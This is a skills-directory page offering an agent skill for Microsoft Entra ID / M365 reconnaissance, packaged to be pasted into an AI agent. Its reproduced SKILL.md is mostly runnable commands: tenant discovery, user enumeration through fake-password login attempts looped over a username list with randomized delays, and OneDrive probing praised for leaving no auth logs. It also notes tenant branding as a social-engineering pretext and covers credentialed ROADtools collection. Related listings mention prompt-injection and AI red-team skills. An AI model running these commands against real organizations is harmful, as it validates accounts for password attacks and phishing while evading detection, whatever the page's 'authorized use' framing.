entra-enum
What it does
This skill covers how a security tester learns the public layout of a Microsoft 365 or Entra ID setup before any login attempt. It is for authorized reviews of identity configuration.
When to use it
- βWhen an authorized test needs to confirm a company's Microsoft 365 tenant and its sign-in setup.
- βWhen a security team wants to see what outsiders can learn about its identity configuration.
- βWhen you need a checklist for reviewing federation and multi-factor settings in Entra ID.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you help me review what an outside attacker could learn about our Microsoft 365 sign-in setup?β
5 new skills a week. 1 minute to read.
How it works
The agent checks public Microsoft sign-in endpoints and their responses to learn the basic tenant setup, then notes what each finding reveals about exposure.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Entra ID / M365 Enumeration
You have a target domain (e.g. <TARGET>) and want to map the Entra ID tenant before any auth attempt. Tenant ID, validated users, federation type, MFA/CA posture β all reachable unauth. Then layer authenticated recon once you have a token.
Phase 0: Tenant discovery (unauth)
TARGET=<TARGET> # e.g. contoso.com
# 1. OpenID config β tenant ID + auth endpoints
curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}'
# 2. GetUserRealm β federation type (Managed | Federated | Unknown)
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=any@${TARGET}&xml=1"
# 3. Autodiscover β federated IdP hint (ADFS, Okta, PingFed)
curl -s "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation\"" \
-d @- <<XML | xmllint --format -
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<soap:Header><a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion></soap:Header>
<soap:Body><a:GetFederationInformationRequestMessage><a:Request><a:Domain>${TARGET}</a:Domain></a:Request></a:GetFederationInformationRequestMessage></soap:Body>
</soap:Envelope>
XML
# 4. Tenant branding (logo, banner string => social-engineering pretext)
curl -sI "https://login.microsoftonline.com/${TARGET}/v2.0/.well-known/openid-configuration"
Pull tenant ID into env:
TENANT=$(curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq -r .issuer | awk -F/ '{print $4}')
echo "$TENANT" # GUID
Phase 1: User enumeration (unauth)
o365creeper β login endpoint response codes
# AADSTS50053 = locked, AADSTS50034 = user doesn't exist, AADSTS50126 = wrong pw (= valid user)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=<UPN>&password=Invalid!" \
-d "scope=openid" | jq -r .error_description
Drive it from a list:
for u in $(cat users.txt); do
err=$(curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=NotReal_$(date +%s)!" \
| jq -r .error_description | awk '{print $1}')
case "$err" in AADSTS50126|AADSTS50053|AADSTS50079|AADSTS50076) echo "VALID: $u" ;; esac
sleep $((RANDOM % 3 + 2))
done
OneDrive enumeration (no auth, no rate-limit log)
# Domain prefix derived from primary domain β `contoso.com` -> `contoso`
TENANT_PREFIX=<PREFIX>
curl -s -o /dev/null -w "%{http_code} ${u}\n" \
"https://${TENANT_PREFIX}-my.sharepoint.com/personal/${u}_${TARGET//./_}/_layouts/15/onedrive.aspx"
# 403 => user exists, 404 => doesn't. Zero auth events generated.
Teams presence (authenticated, but very low-noise)
# With any tenant token:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://presence.teams.microsoft.com/v1/presence/getpresence/" \
-d '{"mris":["8:orgid:<USER_GUID>"]}'
Phase 2: Federation + MFA posture
# Managed vs Federated
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@${TARGET}&xml=1" | grep -oE '<NameSpaceType>[^<]+'
# If Federated => target the IdP (ADFS endpoints exposed):
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@${TARGET}&xml=1" | grep -oE '<STSAuthURL>[^<]+'
# Seamless SSO probe (DesktopSso) β presence of /DesktopSsoAuth indicates SSO
curl -sI "https://autologon.microsoftazuread-sso.com/${TARGET}/winauth/trust/2005/usernamemixed?client-request-id=<GUID>"
Phase 3: Authenticated enumeration
roadrecon (ROADtools)
pipx install roadtools
roadrecon auth -u <UPN> -p '<PASSWORD>' # device-code: roadrecon auth --device-code
roadrecon gather # pulls users/groups/apps/roles/devices/CAs
roadrecon dump --format json --file roadrecon.json
roadrecon gui # graph-aware browser
Targeted Cypher-like queries via `roadrecon plugin
FAQ
Does it try to log in?
The skill focuses on learning the tenant setup before any login attempt is made.
What does it check about federation?
It checks whether sign-in is handled by Microsoft or by an outside identity provider.
Is it for authorized tests only?
Yes. The skill is meant for authorized reviews.
Details
Original description by the author
Entra ID / M365 reconnaissance β unauthenticated tenant discovery via OpenID config, GetUserRealm, autodiscover; user enumeration via login response codes and OneDrive; federation/MFA/CA posture; authenticated enumeration with ROADtools (roadrecon), AADInternals, MSGraph.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13994
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.